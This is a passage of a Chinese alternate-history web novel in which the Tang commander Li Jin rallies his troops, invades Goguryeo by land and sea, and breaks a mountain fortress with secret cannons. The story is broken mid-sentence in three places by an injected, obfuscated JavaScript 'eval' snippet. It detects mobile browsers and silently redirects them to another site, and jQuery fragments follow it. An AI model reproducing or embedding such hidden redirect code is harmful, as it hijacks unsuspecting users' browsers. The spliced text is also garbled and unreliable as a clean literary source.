他没有立刻说话,而是缓缓扫视着台下那一张张或年轻、或沧桑,但此刻同样写满坚毅与战意的脸庞。寒风拂过他斑白的双鬓,吹动他颌下的长须。他深吸一口气,声音并不高亢,却蕴含着一种金石般的穿透力,借助简单的传声铜筒(类似喇叭),清晰地传遍校场每一个角落:
“将士们!”
三个字,让本就肃静的校场,更加落针可闻。
“你们脚下,是洛阳,是大唐的神都!你们身后,是关中千里沃野,是河东巍巍太行,是河南滚滚黄河,是天下亿万黎民!”李瑾的声音平稳而有力,“而你们的刀锋所指,是辽东,是高句丽!那里,有我们的同胞正在被屠戮,有我们的土地正在被践踏,有我们的使者正在被囚禁!更有那不知死活的泉男生,竟敢传檄天下,辱我君父,谤我朝纲,视我大唐天威如无物!”
他的声音陡然提高,带着雷霆般的怒意:“你们说,能答应吗?!”
“不答应!不答应!不答应!”十八万将士的怒吼,如同山崩海啸,直冲云霄,惊起远处邙山寒林中栖息的群鸟。
“对!我们不答应!”李瑾猛地拔出腰间御赐宝剑,剑锋斜指东北方,“本帅受陛下、天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064535|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后重托,持此节钺,代天行诛!此去辽东,不为封侯,不为赏赐,只为四件事!”
他每说一句,便加重一分语气:
“其一,为被戮的同胞,讨还血债!”
“其二,为被占的疆土,收复故疆!”
“其三,为被囚的使节,雪此大耻!”
“其四,”他停顿了一下,目光如电,扫过全场,最后落回高台之上,声音斩钉截铁,响彻全场:“为那些胆敢辱我君父、谤我朝纲的狂悖之徒,敲响丧钟!让他们知道,犯我大唐天威者,虽远必诛!辱我二圣者,死无葬身之地!”
“血债血偿!收复故疆!雪耻扬威!虽远必诛!”台下将士的怒吼声一浪高过一浪,兵刃高举,寒光耀日,杀气直冲斗牛。这杀气,不仅是对敌人的愤怒,更是被李瑾话语点燃的家国之恨、君父之辱,凝聚成一股无坚不摧的磅礴战意。
“好!”李瑾还剑入鞘,双手高高举起虎符节钺,“本帅在此立誓,必与诸位同甘共苦,生死与共!凡临阵退缩者,斩!凡不听号令者,斩!凡贪功冒进者,斩!凡骚扰百姓者,斩!有功必赏,有过必罚,军法如山,绝无姑息!”
“愿随大总管,荡平高句丽,扬我大唐国威!”台下将领齐声高呼。
“愿随大总管,荡平高句丽,扬我大唐国威!”十八万将士的声浪,汇聚成一股无形的洪流,震撼天地。
李瑾转身,面向高台,单膝跪地,双手捧起虎符节钺,朗声道:“臣,李瑾,受命出征!此去辽东,不灭丑虏,誓不还朝!”
武则天起身,从内侍手中接过一樽御酒,亲自走下高台数步,将酒樽递给李瑾(此乃殊荣)。她的声音清越而坚定:“梁国公,此去关山**,戎机险重。陛下与吾,在神都静候佳音!盼公早奏凯歌,献俘阙下,以慰天下,以安社稷!”
“谢陛下!谢天后!”李瑾双手接过酒樽,一饮而尽,将酒樽重重置于地上,发出一声脆响。
“出征!”随着李瑾一声令下,低沉而雄浑的号角声连绵响起,战鼓擂动,声震四野。各军将领迅速回归本阵,庞大的军队如同缓缓开动的钢铁巨兽,开始有序地转向,向着东北方向,开拔!
旌旗漫卷,甲胄铿锵,马蹄声、脚步声、车轮声,汇成一股沉闷的雷鸣,碾过洛北的原野。烟尘冲天而起,遮天蔽日。李瑾跨上亲兵牵来的神骏战马,在亲卫铁骑的簇拥下,立于道旁高处,最后回望了一眼洛阳城巍峨的轮廓,以及城墙上、远处山岗上那些目送军队出征的、密密麻麻的百姓身影。
他看到了百姓眼中的期盼,也看到了忧虑。战争,无论多么正义,终究意味着死亡、离别和沉重的负担。他收回目光,看向前方蜿蜒如龙、不见首尾的浩荡大军,看向东北方那片即将被战火再次点燃的土地。心中没有豪情万丈,只有沉甸甸的责任和冰冷的决心。
“此战,必须胜,也必须快。”他心中默念。不仅为了**,为了雪耻,更为了这数十万将士的生命,为了背后万千百姓的安宁。他轻轻一夹马腹,战马长嘶一声,融入滚滚向前的铁流之中。
誓师的声浪渐渐远去,唯有寒风,卷着战旗,呼啸着掠过空旷的校场,也掠过神都洛阳。一场决定东北亚命运的灭国之战,就此拉开了序幕。而在遥远的青、莱海边,右武卫将军孙仁师也已登上了他的旗舰,巨大的楼船帆樯林立,无数运兵船、粮船、战船云集港口,等待着顺风启航,跨过渤海,执行那“海陆并进,直捣黄龙”战略的另一半。
大唐的战刀,已然出鞘,寒光直指平壤。
第223章 海陆并进击
麟德五年(公元668年)二月,辽西的寒风依旧如刀,大地尚未完全解冻,但唐军庞大的战争机器,已然在辽东大地上隆隆开动。自李瑾在洛阳誓师,被任命为辽东道行军大总管,总领陆路诸军,已过去一个多月。这一个月,对唐军而言,是紧张有序的行军、集结与前期部署;对高句丽叛军而言,则是风声鹤唳、加紧备战,以及内部不可避免的猜忌与动摇。
李瑾率中军主力及北衙禁军精锐,并未急于冒进。他深知,此次征讨,贵在“稳妥”与“彻底”,而非单纯的“神速”。大军出幽州,经榆关,抵达营州(今辽宁朝阳)时,已是二月中旬。营州都督早已将城防整顿加固,并储存了部分粮草。在此,李瑾召开了第一次高级军事会议。
巨大的辽东沙盘前,汇聚了此次出征的主要将领:左武卫大将军、前军总管梁建方,右威卫将军、左军总管王方翼(虚构,以历史名将为原型),左骁卫将军、右军总管曹怀舜(历史人物,曾参与对吐蕃作战),以及刚刚从安西、陇右昼夜兼程赶到的安西都护府长史、行军副总管杜宾客(虚构,代表边军),还有契苾何力、阿史那忠等熟悉辽东情形的蕃将。安东都护府副都护、留守主将高侃也冒险从溃围中杀出,前来会合,他面容憔悴,但眼神依旧锐利,详细汇报了叛乱爆发后辽东的混乱局势、叛军**、以及仍坚持抵抗的唐军据点情况。
“泉男生弑君后,自封莫离支,总揽军政。其本部兵力约五万,是其嫡系。另裹挟、胁迫原高句丽各部兵马,号称二十万,实际可战之兵应在八到十万之间。”高侃指着沙盘上标记的敌我态势,声音沙哑,“叛军主力一部,由其弟泉男建率领,约三万人,驻守辽东城(今辽阳)、新城(今抚顺北)一线,倚仗辽水(今辽河)及旧有山城,企图阻我于辽水之西。另一部由其心腹大将渊净土(虚构,借高句丽名将**姓氏)率领,约两万人,坐镇乌骨城(今凤城附近)、国内城(今集安)一带,护卫平壤侧翼。泉男生本人率余部及王都卫队,约三万人,居于平壤。此外,各地城主、酋长态度不一,有的一心附逆,有的观望,还有少数心向大唐,但被叛军压制,不敢妄动。”
李瑾仔细听着,手指在沙盘上缓缓移动:“新罗方面如何?”
“新罗王金法敏已接诏令,表示将遵命出兵。据报,新罗大将金庾信已集结五万兵马于汉山州(今首尔附近),但似乎逡巡不前,似在观望我军进展。”高侃答道。
李瑾点点头,新罗的骑墙态度在他意料之中。他看向诸将,沉声道:“敌军兵力不弱,且据守坚城,熟悉地形,更有辽水天堑。我军虽有近二十万,然长途跋涉,粮草转运艰难,利在速战,亦不可浪战。泉男生弑君自立,名不正言不顺,高句丽内部未必心服。此乃我军可乘之机。”
他顿了顿,开始部署:“梁建方!”
“末将在!”梁建方慨然出列。
“命你为前军先锋,率本部两万精骑,并契苾何力将军所部蕃骑五千,即日东进,扫清辽水西岸叛军哨探、堡寨,择地架设浮桥,务必在三月中旬前,于辽水中游(约在今新民、辽中一带)开辟至少两处稳固渡口,建立桥头堡,掩护大军渡河!”
“得令!”
“王方翼、曹怀舜!”
“末将在!”
“你二人各率本部步骑三万,为左右两军,紧随梁将军之后。渡河后,王方翼部向东北,佯攻新城,牵制泉男建主力;曹怀舜部向东南,沿梁水(今太子河)进军,目标乌骨城,威胁叛军侧翼,并切断辽东城与国内城、平壤的联系!”
“得令!”
“杜宾客将军!”
“末将在!”
“你率安西、陇右边军及部分府兵,共四万,为中军后队,负责护卫粮道,转运辎重,并扫荡辽水以西残敌,安抚地方,确保后方稳固。高侃将军所部安东留守兵马,亦归你节制,务必保证大军后路无忧!”
“遵命!”
“其余诸将,随本帅坐镇中军,待先锋开辟渡口,即挥师渡河,直扑辽东城!”李瑾目光炯炯,“此战关键,首在渡河。辽水宽阔,初春水寒,叛军必沿河设防,拆毁桥梁。梁将军,渡河之事,可有把握?”
梁建方抱拳,信心十足:“大总管放心!末将已命工匠加紧打造羊皮筏、木筏,并备好绳索、铁链。契苾将军所部蕃骑,多擅泅渡。我前锋军轻骑快进,必打对岸守军一个措手不及。纵有激战,亦必为大军打开通道!”
“好!”李瑾赞许道,随即又肃然叮嘱,“各部务须紧密配合,遇敌勿贪功冒进,亦不可逡巡畏战。渡河后,稳扎稳打,步步为营。对叛军,凡抵抗者,格杀勿论;弃械投降者,不得妄杀;对高句丽百姓,更需严明军纪,秋毫无犯。我军乃王者之师,吊民伐罪,非为掳掠而来。凡有扰民者,军法从事!”
“谨遵将令!”众将齐声应诺,声震屋瓦。
部署已定,唐军这台庞大的战争机器,开始精确地运转起来。梁建方率前锋精骑,如同离弦之箭,率先向东驰去,烟尘滚滚。王方翼、曹怀舜各部紧随其后。李瑾坐镇中军,稳步行进,沿途不断接收斥候回报,调整部署,并派出大量细作、使者,携带檄文、钱帛,潜入高句丽境内,四处散布“只诛首恶泉男生及其死党,余者不问,归顺有赏”的消息,并秘密联络那些对泉男生不满的城主、贵族。
就在李瑾的陆路大军如同钢铁洪流,缓缓而坚定地向辽水压去的同时,帝国的另一只铁拳——跨海远征军,也已蓄势待发。
莱州(今山东莱州)湾,二月末的海风依旧凛冽,但比寒风更让人热血沸腾的,是港湾内舳舻千里、帆樯蔽日的壮观景象。大小战舰、运兵船、辎重船密密麻麻,几乎铺满了整个海湾。右武卫将军、检校青州刺史、平壤道行军大总管孙仁师,屹立在一艘高达五层的楼船旗舰“伏波”号的甲板上,望着眼前这支空前庞大的舰队,心潮澎湃。
孙仁师年近五旬,面庞被海风和岁月刻下深深的皱纹,但身形挺拔如松,双目炯炯有神。他出身将门,父祖皆以水战闻名,他自己更是自幼长于舟楫,历经海战,对渤海、黄海的海情了如指掌。此番受命跨海东征,他深感责任重大,这不仅是建功立业的机会,更是实现他“扬威海上”抱负的舞台。
“大总管,各军已登船完毕,粮械装载妥当,只等风信!”副将、明威将军(虚构)刘仁轨(注:历史上刘仁轨曾参与白江口之战,此时或已为将,此处借用同名,可视为另一刘姓将领)上前禀报。
孙仁师抬头望了望桅杆上飘动的旌旗和测风旗,又看了看天色,沉声道:“传令各船,检查缆绳、风帆、舵橹,再清点一遍淡水、食物。明日寅时,若得东北风,即刻起航!”
“得令!”
这支水师规模空前,大小船只近千艘,载有江淮、河南、山东等地抽调的精锐步卒四万,水手、**手、工匠等两万余人,以及大量的粮草、军械、攻城器具。他们的目标,是在朝鲜半岛西海岸,浿水(今大同江)入海口附近登陆,建立稳固的滩头阵地,然后水陆并进,向北威胁平壤,与李瑾的陆路主力形成夹击之势。
选择在浿水河口登陆,是李瑾与孙仁师反复商讨后的决定。此地距离平壤仅百余里,地势相对平缓,且有多条河流注入,便于水师溯流而上,支援陆上作战。更重要的是,据情报显示,泉男生为防御唐军陆路进攻,将重兵集结于辽东城、新城一线,对南部海防,特别是浿水河口一带,相对薄弱。
三月朔日,天公作美,强劲而稳定的东北风如期而至。孙仁师一声令下,号角长鸣,鼓声震天。“伏波”号升起帅旗,引领着庞大的舰队,如同离弦的巨箭,乘着风势,驶出莱州湾,向着东方茫茫大海,破浪前行。
海上航行,远比陆路行军更加凶险莫测。尽管孙仁师经验丰富,选择了相对平静的初春时节,且东北风利于航行,但渤海的浪涛依旧无情地考验着这支庞大的船队。许多来自内陆的士兵,第一次经历如此长时间、长距离的航行,晕船呕吐者不计其数,非战斗减员时有发生。风暴、暗礁、迷航,任何一个意外都可能导致灾难。孙仁师与麾下将领、经验丰富的老水手们,日夜守在甲板上,观测天象,校正航向,安抚军心。
经过近十日的颠簸航行,船队终于望见了朝鲜半岛西海岸那漫长的、灰黑色的海岸线。孙仁师根据海图和水文特征,准确判断出浿水河口的位置。然而,就在船队准备靠近登陆时,前方的斥候快船发回急报:河口附近发现高句丽水师船只巡逻,岸边有简易防御工事和烽火台!
果然,泉男生并非毫无防备。尽管主力北调,但在如此重要的河口地带,仍然布置了警戒力量。
“有多少敌船?何种防御?”孙仁师登上楼船顶层,亲自瞭望。
“回大总管,敌船约三十余艘,多为小型战船、哨船。岸上有木栅、箭楼,守军约千人,已点燃烽火!”斥候回报。
孙仁师冷笑一声:“区区萤火,也敢与日月争辉?传令,前锋舰队五十艘斗舰、艨艟,全速前进,击溃敌船,抢占滩头!楼船在后,以**炮、投石机轰击岸上工事!运兵船准备,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064536|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旦滩头清理干净,即刻登陆!”
唐军水师前锋,都是久经训练、装备精良的战船。在将领的指挥下,五十艘战船如同闻到血腥味的鲨鱼,鼓足风帆,划动长桨,以楔形阵猛扑向高句丽巡逻船队。高句丽水师显然没料到唐军舰队规模如此庞大,来得如此迅猛,稍作抵抗,便被唐军犀利的拍竿(用于近战撞击)、**箭和接舷跳帮战术打得七零八落,或沉或逃。
与此同时,十余艘高大的楼船驶近岸边,船舷两侧的**炮(发射大型箭矢或石弹)和改良后的中型投石机开始发威。巨大的石弹和**枪呼啸着砸向岸上的木栅、箭楼,顿时木屑纷飞,烟尘四起。守军本就不多,在如此猛烈的远程打击下,更是死伤惨重,士气崩溃。
不到一个时辰,浿水河口的零星抵抗便被彻底肃清。唐军先头部队数千人,在将领的指挥下,乘着小艇、舢板,呐喊着冲上滩头,迅速建立起稳固的登陆场,并构筑简易防御工事。后续的运兵船则缓缓靠岸,放下跳板,大队步兵、骑兵、工匠、驮马,连同粮草器械,开始有条不紊地登陆。
孙仁师踏上朝鲜半岛的土地,脚下是略带潮湿的沙地。他望着远处隐约可见的丘陵和更北方平壤的方向,对身边的副将们说道:“速派斥候,向北、向东侦查,摸清方圆五十里内敌情。传令上岸各部,即刻修建营寨,深沟高垒,谨防敌军反扑。同时,多派小船,溯浿水而上,侦查水路,并设法联络可能存在的亲唐势力。还有,立刻派人乘快船,回报李总管,通报我部已成功登陆!”
“得令!”
就在孙仁师所部水师成功登陆朝鲜半岛西海岸,站稳脚跟,并开始向北试探性推进的同时,辽东方向,李瑾的陆路大军也取得了关键突破。
梁建方的前锋骑兵,以迅雷不及掩耳之势,扫荡了辽水西岸的叛军据点,并利用夜色掩护和娴熟的架桥技术,在辽水中游两处水流较缓、河道较窄的地点,迅速架起了数座坚固的浮桥。泉男建派兵前来阻击,被严阵以待的唐军半渡而击,损失惨重,被迫放弃滩头,退守东岸的几处坚固堡寨。
三月初,李瑾亲率中军主力,在先锋的掩护下,浩浩荡荡渡过辽水,兵临辽东城下。这座曾让隋炀帝数十万大军铩羽、让唐太宗李世民抱憾的坚城,再一次矗立在唐军面前,城墙高大,防御森严,守军不下两万,由泉男建的心腹大将把守。
李瑾并未急于强攻。他命令大军在城外扎下连营,将辽东城围得水泄不通,同时派曹怀舜部继续向东,对新城保持压力,牵制泉男建可能派出的援军。他自己则坐镇辽东城外,每日派兵挑战,用改良后的重型投石机(可发射百斤以上石弹)和**炮,日夜不停地轰击城墙,消耗守军士气和物资。
更重要的是,李瑾的心理战和分化策略开始见效。被围困的辽东城内,本就对泉男生弑君不满、或心怀恐惧的将领、贵族,在唐军“只诛首恶,余者不问,归顺有赏”的承诺和强大的军事压力下,开始动摇。不断有小股部队趁夜缒城投降,或暗中与唐军联络。李瑾对来降者厚加抚慰,并允许他们派人回城劝说同袍,进一步动摇了守军抵抗意志。
同时,从海路传来的消息也极大地鼓舞了唐军士气,打击了叛军信心。孙仁师所部四万大军在浿水河口成功登陆,并击溃当地守军,正向北稳步推进的消息,如同插上翅膀,迅速传遍辽东战场。高句丽上下震动!他们万万没想到,唐军竟敢、竟能跨越波涛汹涌的渤海,从背后捅来一刀!平壤的泉男生闻讯大惊,急忙从国内城、乌骨城方向抽调兵力南下阻截,这又使得辽东正面的压力为之一轻。
四月,辽东城在被围月余,内无粮草,外无援兵,且军心涣散的情况下,守将终于开城投降。李瑾兵不血刃,拿下了这座辽东重镇。他严令约束部下,不得扰民,出榜安民,并兑现承诺,妥善安置投降将士,斩杀泉男生任命的少数死忠将领。此举产生了巨大的示范效应,附近仍在观望的城池、堡寨,纷纷易帜归降。
拿下辽东城,唐军陆路主力面前的最大障碍被清除。李瑾留杜宾客率部分兵力镇守辽东、安抚地方、保障粮道,自己则亲率梁建方、王方翼等部主力,会同曹怀舜部,共计十余万大军,携新降的仆从军,挥师东进,直扑下一个目标——新城。而更南边,孙仁师的水陆大军,也在击退了高句丽仓促组织的几次反扑后,开始向平壤方向稳步推进。
海陆两支铁拳,一北一南,带着无坚不摧的气势,正狠狠砸向高句丽叛军的心脏——平壤。灭国之战,进入了最关键的阶段。
第224章 火炮破坚城
麟德五年四月末,辽东的春天来得迟,却也带来了生机。冰雪消融,道路泥泞,给行军和补给增添了无数困难,却也宣告了严冬的结束,适合大规模军事行动的季节终于到来。然而,李瑾陆路大军的东进步伐,在新城以北、鸭绿江中游的一座险要山城——乌骨城下,遭遇了意料之外的顽强抵抗。
乌骨城(约在今辽宁凤城附近山区,亦有认为在吉林通化一带,此处取前说),并非如辽东城那般位于平原,而是依山而建,雄踞于扼守通往国内城、平壤要道的险峻山岭之上。城墙多用巨石垒砌,依山势蜿蜒,高耸陡峭,易守难攻。守将渊净土,是高句丽名将**(泉盖苏文)的族侄,骁勇善战,对泉男生极为忠诚。他手中虽只有万余兵马,但凭借天险,储存了大量粮草、滚木礌石,摆出了一副死守待援、与城偕亡的架势。
王方翼、曹怀舜两军先后抵达,尝试了数次仰攻,皆因山道狭窄、守军防御严密而损失惨重,未能撼动城池分毫。李瑾率中军主力赶到,观察地形后,也皱起了眉头。乌骨城如同一只盘踞在山巅的刺猬,强攻必然伤亡巨大,且旷日持久。而时间,对远征的唐军而言,弥足珍贵。每多拖一日,粮草消耗便多一分,平壤的泉男生便有更多时间调整部署,从南部抽调兵力回援,甚至可能迫使孤军深入、登陆朝鲜半岛的孙仁师所部陷入险境。
“大总管,此城险峻,强攻恐非上策。是否绕道而行?”左军总管曹怀舜望着云雾缭绕的山城,面带忧色。
李瑾没有立刻回答,他策马在城下数里外缓缓巡视,目光锐利地扫视着乌骨城的每一处城墙、每一段山脊。良久,他指向城池东北侧一段相对平缓、但被加筑了数道瓮城和敌楼的外墙,问道:“此处城墙,与主山体结合如何?墙体可有裂缝、新旧痕迹?”
身旁一名熟悉辽东地理的向导官(由归顺的当地贵族担任)仔细观察后回答:“回大总管,乌骨城主体依山而建,多利用天然峭壁,唯东北面因山势略缓,乃前代人工增筑,墙体虽厚,但据闻早年曾有地动(地震),略有损伤,后虽修补,坚固程度或不及他处。且此处地势稍平,便于集结兵力器械,故守军在此加筑了瓮城和敌楼,防御最为严密。”
“最严密之处,往往也可能是最薄弱之处。”李瑾沉吟道。他深知,这种山城,强攻正面损失太大,长期围困又恐生变。必须找到一种能快速撕开缺口的方法。他想起了临行前,武则天亲自过问,并特批从将作监、军器监调拨给他的一批“秘密武器”。
“传我将令,”李瑾调转马头,返回大营,语气果决,“王方翼、曹怀舜所部,继续在正面佯攻,多张旗帜,日夜擂鼓呐喊,制造大军即将总攻假象,吸引守军注意。梁建方!”
“末将在!”
“命你率本部精骑,并蕃骑五千,向南绕过乌骨城主山,严密监视国内城、平壤方向,若有援军,务必阻截,至少迟滞三日!”
“得令!”
“其余诸军,随本帅移营至城东北五里外那片丘陵之后,隐蔽待命。将后军辎重营中,以黑布覆盖、单独押运的那批‘家伙’,给本帅小心运上来,在东北面选一处隐蔽、但射程可及城墙的阵地,连夜架设!”
众将面面相觑,不知大总管所指的“家伙”是什么,但见李瑾神色郑重,甚至带着一丝罕见的期待,皆不敢多问,凛然领命。
夜幕降临,乌骨城上灯火通明,守军不敢有丝毫懈怠,紧张地注视着山下唐军大营的动静。而在城池东北方数里外的一片背阴·丘陵之后,却是另一番紧张而隐蔽的景象。
数百名从军器监、将作监调来的工匠,在重兵护卫下,正指挥着大批士兵和民夫,小心翼翼地卸下一辆辆以厚重牛车拖曳、覆盖着严密油布和黑幔的“特殊辎重”。当油布被掀开,月光下显露出来的,是二十余尊黝黑、沉重、散发着冰冷金属光泽的庞然大物。
它们并非传统的投石机(砲),虽然保留了木质基座和部分杠杆结构,但投射臂更短更粗,连接着一个巨大的、斜向上的厚重铁制圆筒。圆筒尾部有复杂的机括和火门,筒身被粗大的铁箍加固,架设在带有轮子的坚固木制炮车上,可以通过绞盘调整仰角。旁边堆放着同样以油布遮盖的球形弹丸,有石弹,也有一种外壳粗糙、看起来更沉重的铁壳弹丸,以及大量封装好的**包。
这便是李瑾多年来暗中支持、由将作监和军器监的顶尖工匠,在改良传统“**”配方(硝、硫、炭比例更精确)、借鉴“猛火油柜”喷射原理和大型**炮结构基础上,秘密研发、试验了数年的“镇国大将军炮”——一种原始但威力巨大的前装滑膛火炮!虽然射程尚不及顶尖的床**,精度也远未完善,操作复杂,移动笨重,但其集中轰击一点时,对土木、砖石结构的破坏力,是传统投石机和**炮难以比拟的。因其制造、运输、使用皆极耗国力人力,且技术尚不完全成熟,故数量稀少,一直被朝廷视为最高机密,非必要绝不轻易示人。此次东征高句丽,武则天为了确保胜利,尤其是为了应对可能出现的、如乌骨城这般的坚城,特批调拨了这二十余门“大将军炮”及相应的**、工匠,随军出征,归李瑾全权节制。
工匠们指挥着士兵,利用斜坡、滚木,将这沉重的“大将军炮”一门门推上预设的发射阵地。阵地经过精心选择,位于一片缓坡之后,正面有丘陵遮蔽,从乌骨城方向难以直接观察,但通过山顶观察哨的旗语指挥,可以调整射角,轰击东北面城墙。炮位之间挖掘了深壕,堆砌了土垒,以防敌军反击或火炮炸膛伤人。**、**被小心翼翼地存放在远离明火的专用掩体内。
李瑾亲自来到阵地视察。看着这些凝聚了无数工匠心血、闪烁着冷冽寒光的战争巨兽,他心中感慨。这东西威力虽大,但造价高昂,工艺复杂,运输困难,且每次发射都冒着炸膛的巨大风险。若非乌骨城如此棘手,他本不愿轻易动用。但此刻,为了尽快打开通往平壤的道路,为了减少将士伤亡,也为了震慑敌军,他必须亮出这张底牌。
“都准备好了吗?”李瑾问负责此批火器的将作监少匠(官职,负责工程制造)公孙墨(虚构)。
“回大总管,二十门‘大将军炮’已全部就位,**充足,引**、***已检查完毕。工匠、炮手均已反复操练规程,只是……”公孙墨年约四旬,面容精干,此刻却有些紧张,“此物虽经多次试射,然实战中,变数极多,尤其连续发射,炮管过热,极易……炸膛。且今日略有东风,恐对射程、精度有细微影响。”
“本帅知晓。”李瑾拍了拍冰冷的炮身,“不必求百发百中,只要能在城墙上轰开缺口,震慑守军,便是大功一件。传令下去,炮手、工匠,凡此次立功者,重赏!若有伤亡,加倍抚恤!”
“遵命!”
四月二十八日,晴,有微风。拂晓时分,乌骨城东北方向,唐军营寨突然战鼓震天,旌旗招展,王方翼、曹怀舜所部在正面摆出大规模攻城的架势,云梯、冲车、壕桥缓缓前推,弓**手万箭齐发,压制城头。守将渊净土见状,不敢怠慢,将主要兵力调往正面,准备迎接唐军的猛攻。
然而,预想中的唐军步兵冲锋并未到来。就在守军注意力被正面佯攻吸引时,东北方那片“平静”的丘陵背后,突然传来一阵低沉、沉闷,仿佛大地深处传来的怒吼。
“咚!咚!咚!咚!……”
声音并不十分响亮,却异常沉重,带着一种令人心悸的震颤。紧接着,乌骨城东北面城墙上下,爆开一团团巨大的火光和浓烟!
“轰隆!”“轰隆!”“轰隆隆!!!”
地动山摇!碎石横飞!城墙剧烈地颤抖起来!
守军从未听过、从未见过如此骇人的景象和声响。那声音不像雷,不像鼓,更像是什么洪荒巨兽的咆哮。只见远处丘陵背后,火光连闪,浓烟升腾,一枚枚黑点以肉眼难以捕捉的速度呼啸而来,重重地砸在城墙、敌楼、瓮城之上!
实心的石弹砸在墙垛上,顿时碎石崩裂,夯土纷飞,被击中的女墙瞬间坍塌一大片。而那种铁壳弹丸,撞击之后并未立刻弹开,反而在短暂的延迟后,内部装填的少量**被引燃,发生猛烈的**!
“轰——!!”一声巨响,一处敌楼的木质楼顶被整个掀飞,砖石四溅,里面的守军惨叫着跌落。另一枚铁弹击中了瓮城的外墙,虽然没有立刻炸开,但巨大的冲击力在城墙上开出一个脸盆大的凹坑,裂缝如蛛网般蔓延。
“天雷!唐军引来了天雷!”城头的守军瞬间陷入巨大的恐慌。他们无法理解那是什么武器,只能将其归咎于天罚或唐军妖法。尤其是那**的火光、巨响和随之而来的杀伤,完全超出了他们的认知。
炮击并未停歇。在观察哨的旗语指挥下,炮手们紧张地清理炮膛(用沾湿的拖把插入灼热的炮管降温并清除残渣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069269|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
)、重新装填**包、放入弹丸、用通条夯实、插入引信……整个过程危险而繁琐,不断有炮管过热发红,甚至发生小的喷火、漏气,但训练有素的工匠和炮手们,在督战官的厉声催促和重赏的刺激下,咬牙坚持着。
“咚!”“轰!”“咚!”“轰!……”
炮击持续了约半个时辰(一个多小时),二十门“大将军炮”平均每门发射了五到六次。其间,有两门炮因连续发射、炮管质量或操作失误而炸膛,造成十余名炮手、工匠伤亡,但其余的依旧在怒吼。
乌骨城东北面的城墙,特别是那段被认为“相对薄弱”的人工增筑墙体,在如此密集、猛烈的轰击下,已然面目全非。多处墙垛被削平,敌楼垮塌,瓮城的外墙被轰开了数道巨大的裂缝,其中一道裂缝贯穿了墙体近半,摇摇欲坠。更重要的是,守军的士气,在这从未经历过的、仿佛天崩地裂般的打击下,彻底崩溃了。许多人跪倒在地,瑟瑟发抖,口中念念有词,祈求神明宽恕,再无战意。
“时机已到!”一直在中军高台上观察战况的李瑾,看到城墙破损,守军大乱,果断下令,“传令王方翼、曹怀舜,停止佯攻,转为真攻,全力压上!命陌刀队、跳荡兵(突击步兵)为先锋,集中攻击东北面破损城墙!云梯、壕车跟上!”
“得令!”
早已憋足了劲的唐军主力,如同出闸猛虎,从正面和东北侧丘陵后同时杀出。正面唐军牵制了大量守军,而东北面,由于炮击造成的破坏和心理威慑,防御已近瓦解。陌刀手们披重甲,执长刀,冒着零星落下的箭矢滚石,怒吼着冲向那被轰开裂缝的城墙缺口。身后的弓**手、步卒如潮水般跟进。
渊净土在最初的震惊和恐慌后,试图组织兵力堵住缺口,但军心已散,面对唐军悍不畏死的猛攻,抵抗迅速瓦解。他本人被亲兵拼死救下,在残部掩护下,仓皇从西门溃逃,向国内城方向逃去。
午时未过,乌骨城头便插上了大唐的旗帜。这座被泉男生寄予厚望、试图拖延唐军数月乃至更久的险要山城,在一种前所未见的恐怖武器打击下,仅仅支撑了半天,便宣告陷落。
消息传到唐军大营,全军振奋。而当溃兵将“唐军驱使天雷,轰破城墙”的消息带回国内城、平壤时,引发的恐慌更是难以想象。乌骨城的陷落,不仅打开了通往国内城、平壤的最后一道陆路险关,更重要的是,一种对未知武器的恐惧,如同瘟疫般在高句丽军中蔓延开来。唐军拥有“雷霆神器”的传言,越传越神,严重打击了叛军的抵抗意志。
李瑾进入一片狼藉的乌骨城,看着那段被“大将军炮”轰击得千疮百孔的城墙,神色复杂。威力的确惊人,但代价也不小,两名技艺精湛的工匠和八名炮手死于炸膛。他下令厚葬阵亡者,重赏参战工匠炮手,并命公孙墨详细记录此次实战数据,总结经验教训,尤其是如何改进炮管铸造工艺、提高安全性、以及更精确的瞄准和射表。
“此物威力虽巨,然终是杀伐之器,不可轻用,更不可恃之而骄。”李瑾对身旁的将领们沉声道,“破城杀敌,最终仍需倚仗将士用命,谋略得当。此物,可为奇兵,不可为常法。传令下去,此战所用‘大将军炮’之事,列为军中机密,严禁外泄具体形制。对外,可称‘天罚’、‘神机’即可。”
“谨遵将令!”
乌骨城既下,唐军面前一马平川。李瑾马不停蹄,留部分兵力镇守、修缮乌骨城,主力继续东进,与从南部稳步北上的孙仁师部,对平壤形成了南北夹击、最后的合围之势。高句丽,这个曾让前朝英雄折戟、让本朝太宗抱憾的东北强国,其覆灭的命运,已然在“火炮”的轰鸣声中,被无情地敲定。
